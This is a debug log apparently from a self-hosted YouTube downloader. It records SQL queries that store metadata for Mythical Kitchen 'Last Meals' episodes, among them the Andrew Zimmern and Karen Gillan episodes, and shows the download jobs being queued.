db=2.7ms idle=270.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["This episode includes mention of self harming behavior and drug addiction, which may not be suitable for all audiences. Please enjoy at your discretion. Today, Andrew Zimmern eats his last meal. \n\nTune in to Grill Week all day from June 30th to July 4th, streaming on Tastemade: https://www.tastemade.com/grill-week-2025\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Andrew's Last Meal\n0:22 Alternate Names For Bizarre Foods\n1:48 Have You Thought About Your Last Meal Before?\n2:22 Shucking Clams At The Beach\n3:18 1st Course\n4:09 Food Gives Us The Chance To Revisit Memories\n6:00 Patience, Tolerance, & Understanding\n8:47 Otter vs. Bear\n9:20 Andrew's Inspiration\n11:15 Defining A Great Chef\n12:45 Inspector Gadget Meets Pacman\n13:30 2nd Course\n15:30 What Makes You Cry?\n17:39 Spending Thanksgiving At The Salvation Army\n20:12 \"Can You Help Me?\"\n22:33 3rd Course\n25:16 From Dishwasher To Chef\n27:30 Anthony Bourdain\n29:50 Someone Who Truly Knows You\n32:43 4th Course\n34:03 A Second Date\n35:09 No One Can Buy Time\n36:24 What Do You Think Happens When You Die?\n37:36 Lightning Round\n40:55 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Andrew Zimmern Eats His Last Meal", "56934b07-1e22-410c-9184-217d882bbfc8", "https://www.youtube.com/watch?v=PKwAk6CDqKc", false, "PKwAk6CDqKc", 2574, false, 32, "/downloads/Last Meals/2025-06-26 Andrew Zimmern Eats His Last Meal/Andrew Zimmern Eats His Last Meal [PKwAk6CDqKc].mp4", false, false, 1, [], 0, ~U[2025-06-26 10:00:48Z], ~U[2026-03-28 00:47:41Z], ~U[2026-03-28 00:47:41Z], "This episode includes mention of self harming behavior and drug addiction, which may not be suitable for all audiences. Please enjoy at your discretion. Today, Andrew Zimmern eats his last meal. \n\nTune in to Grill Week all day from June 30th to July 4th, streaming on Tastemade: https://www.tastemade.com/grill-week-2025\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Andrew's Last Meal\n0:22 Alternate Names For Bizarre Foods\n1:48 Have You Thought About Your Last Meal Before?\n2:22 Shucking Clams At The Beach\n3:18 1st Course\n4:09 Food Gives Us The Chance To Revisit Memories\n6:00 Patience, Tolerance, & Understanding\n8:47 Otter vs. Bear\n9:20 Andrew's Inspiration\n11:15 Defining A Great Chef\n12:45 Inspector Gadget Meets Pacman\n13:30 2nd Course\n15:30 What Makes You Cry?\n17:39 Spending Thanksgiving At The Salvation Army\n20:12 \"Can You Help Me?\"\n22:33 3rd Course\n25:16 From Dishwasher To Chef\n27:30 Anthony Bourdain\n29:50 Someone Who Truly Knows You\n32:43 4th Course\n34:03 A Second Date\n35:09 No One Can Buy Time\n36:24 What Do You Think Happens When You Die?\n37:36 Lightning Round\n40:55 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Andrew Zimmern Eats His Last Meal", "https://www.youtube.com/watch?v=PKwAk6CDqKc", "PKwAk6CDqKc", 2574, false, "/downloads/Last Meals/2025-06-26 Andrew Zimmern Eats His Last Meal/Andrew Zimmern Eats His Last Meal [PKwAk6CDqKc].mp4", false, 1, ~U[2025-06-26 10:00:48Z]] 20:47:41.332 [debug] QUERY OK source="sources" db=0.2ms idle=274.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:41.332 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:41.333 [debug] QUERY OK source="media_items" db=0.3ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [32] 20:47:41.333 [info] Kicking off download for media item #32 (PKwAk6CDqKc) 20:47:41.336 [debug] QUERY OK source="tasks" db=0.2ms idle=3.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [35, 32, ~U[2026-03-28 00:47:41Z], ~U[2026-03-28 00:47:41Z]] 20:47:41.336 [debug] Current batch of media processed. Will check again in 1000ms 20:47:42.336 [debug] Current batch of media processed. Will check again in 1000ms 20:47:43.338 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Karen Gillan eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Karen's Last Meal Menu\n0:29 Nebula Goes To Therapy\n1:38 How Often Do You Think About Death?\n2:32 1st Course - Scottish Breakfast & Yorkshire Tea\n4:30 Karen Loves ASMR\n5:16 Caffeine, Anxiety, & Tattie Scones\n6:11 Childhood & Growing Self Confidence\n10:35 Sleeping Dogs & Life's Mysteries\n11:28 TikTok & Personality Disorders\n13:24 2nd Course - Mince & Doughboys\n15:02 Directing Experience & Interactions With Fans\n17:26 Collaborating With Her Husband (Chillin With Gillan)\n18:36 Navigating Popularity\n19:58 Public Speaking & Leaning Into Anxiety\n21:57 3rd Course - Haggis, Neeps, Tatties, & Yorkshire Pudding\n25:02 Karen's Love For Horror\n26:50 Watching Plane Crash Videos\n27:58 What Happens When You Die?\n30:18 Lightning Round\n32:53 Karen's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2023, "filename" => "/downloads/Last Meals/2024-03-21 Karen Gillan Eats Her Last Meal/Karen Gillan Eats Her Last Meal [8jevdCS5kvc].mp4", "id" => "8jevdCS5kvc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8jevdCS5kvc", "playlist_index" => 33, "timestamp" => 1711015209, "title" => "Karen Gillan Eats Her Last Meal", "upload_date" => "20240321"} 20:47:43.339 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=295.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:43.339 [debug] QUERY OK source="sources" db=0.2ms idle=281.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:43.340 [debug] QUERY OK source="media_items" db=0.3ms idle=282.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-21 10:00:09Z], 1] 20:47:43.344 [debug] QUERY OK source="media_items" db=3.2ms idle=283.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Karen Gillan eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Karen's Last Meal Menu\n0:29 Nebula Goes To Therapy\n1:38 How Often Do You Think About Death?\n2:32 1st Course - Scottish Breakfast & Yorkshire Tea\n4:30 Karen Loves ASMR\n5:16 Caffeine, Anxiety, & Tattie Scones\n6:11 Childhood & Growing Self Confidence\n10:35 Sleeping Dogs & Life's Mysteries\n11:28 TikTok & Personality Disorders\n13:24 2nd Course - Mince & Doughboys\n15:02 Directing Experience & Interactions With Fans\n17:26 Collaborating With Her Husband (Chillin With Gillan)\n18:36 Navigating Popularity\n19:58 Public Speaking & Leaning Into Anxiety\n21:57 3rd Course - Haggis, Neeps, Tatties, & Yorkshire Pudding\n25:02 Karen's Love For Horror\n26:50 Watching Plane Crash Videos\n27:58 What Happens When You Die?\n30:18 Lightning Round\n32:53 Karen's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Karen Gillan Eats Her Last Meal", "243a12d1-8cc2-4126-b3c3-3a0a6b0bfcf5", "https://www.youtube.com/watch?v=8jevdCS5kvc", false, "8jevdCS5kvc", 2023, false, 33, "/downloads/Last Meals/2024-03-21 Karen Gillan Eats Her Last Meal/Karen Gillan Eats Her Last Meal [8jevdCS5kvc].mp4", false, false, 1, [], 0, ~U[2024-03-21 10:00:09Z], ~U[2026-03-28 00:47:43Z], ~U[2026-03-28 00:47:43Z], "Today, Karen Gillan eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Karen's Last Meal Menu\n0:29 Nebula Goes To Therapy\n1:38 How Often Do You Think About Death?\n2:32 1st Course - Scottish Breakfast & Yorkshire Tea\n4:30 Karen Loves ASMR\n5:16 Caffeine, Anxiety, & Tattie Scones\n6:11 Childhood & Growing Self Confidence\n10:35 Sleeping Dogs & Life's Mysteries\n11:28 TikTok & Personality Disorders\n13:24 2nd Course - Mince & Doughboys\n15:02 Directing Experience & Interactions With Fans\n17:26 Collaborating With Her Husband (Chillin With Gillan)\n18:36 Navigating Popularity\n19:58 Public Speaking & Leaning Into Anxiety\n21:57 3rd Course - Haggis, Neeps, Tatties, & Yorkshire Pudding\n25:02 Karen's Love For Horror\n26:50 Watching Plane Crash Videos\n27:58 What Happens When You Die?\n30:18 Lightning Round\n32:53 Karen's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon A (truncated) 20:47:43.345 [debug] QUERY OK source="sources" db=0.3ms idle=287.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:43.346 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:43.346 [debug] QUERY OK source="media_items" db=0.3ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [33] 20:47:43.346 [info] Kicking off download for media item #33 (8jevdCS5kvc) 20:47:43.347 [debug] QUERY OK source="tasks" db=0.0ms idle=2.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [36, 33, ~U[2026-03-28 00:47:43Z], ~U[2026-03-28 00:47:43Z]] 20:47:43.347 [debug] Current batch of media processed. Will check again in 1000ms 20:47:44.349 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Kathryn Hahn eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kathryn's Last Meal\n0:51 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n2:55 Growing Up In Cleveland\n4:56 Gen Z Lingo\n7:01 Crossing Jordache & Playing A Grief Counselor\n10:17 Who Said This, Lily Or Nietzsche?\n11:25 Don't Miss SURVIVE THE MYTHICAL KITCHEN\n11:48 2nd Course\n14:04 Growing Up With Funny Parents\n15:28 Plotting Adam Scott's Murder\n17:27 Vulnerability in Acting\n19:30 Captain Fantastic\n21:41 3rd Course\n23:19 Agatha All Along\n25:37 Being Witchy\n28:48 4th Course\n30:56 The Swedish Art Of Death Cleaning\n33:38 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:00 Kathryn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2331, "filename" => "/downloads/Last Meals/2025-03-27 